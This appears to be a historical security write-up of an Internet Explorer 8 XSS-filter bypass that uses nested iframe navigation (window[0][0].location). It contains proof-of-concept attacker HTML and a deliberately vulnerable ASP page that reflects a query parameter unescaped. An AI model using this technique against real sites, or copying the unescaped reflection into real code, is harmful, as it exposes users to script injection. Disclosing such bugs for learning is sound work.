IE8 introduced a built-in XSS filter that was supposed to detect reflected XSS attempts and neutralize them. After playing around for a while, I found a bypass: if the XSS payload was delivered not directly to the vulnerable page but through a nested iframe reference (window[0][0].location), the filter didn’t recognize the connection between the attacker’s page and the victim’s reflected script, so it left the injection untouched.

<!-- badguy.html: attacker's page with a nested iframe -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title> XSS IFRAMEx2 </title></head>
<body>
<iframe src="http://www.iframe.com/pentest/xss/goodguy.asp" width="500" height="300"></iframe>
<script language="JavaScript">
window.onload = function()
{
	//Change the location (with XSS) of the IFRAME which belongs to goodguy.
	window[0][0].location = 'http://www.iframe.com/pentest/xss/goodguy.asp?Text=<script>alert(location.href)<\/script>';
}
</script>
</body>
</html>
<!-- goodguy.asp: the vulnerable page with an inner iframe and a reflected XSS parameter -->
<iframe src="http://www.google.com"></iframe>

<%
	Response.Write(Request.QueryString("Text"))
%>

The goodguy.asp page directly reflects the Text query string parameter — a classic reflected XSS. Normally, IE8’s XSS filter would block this by detecting that the injected script in the URL matched script content in the response. The bypass worked by having the attacker page (badguy.html) load goodguy.asp in its own iframe, which also contained an inner iframe (google.com). The attacker then navigated window[0][0] — the inner iframe of the inner iframe — to the XSS URL. The filter’s heuristic didn’t trace this navigation chain, so the injection fired unblocked.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.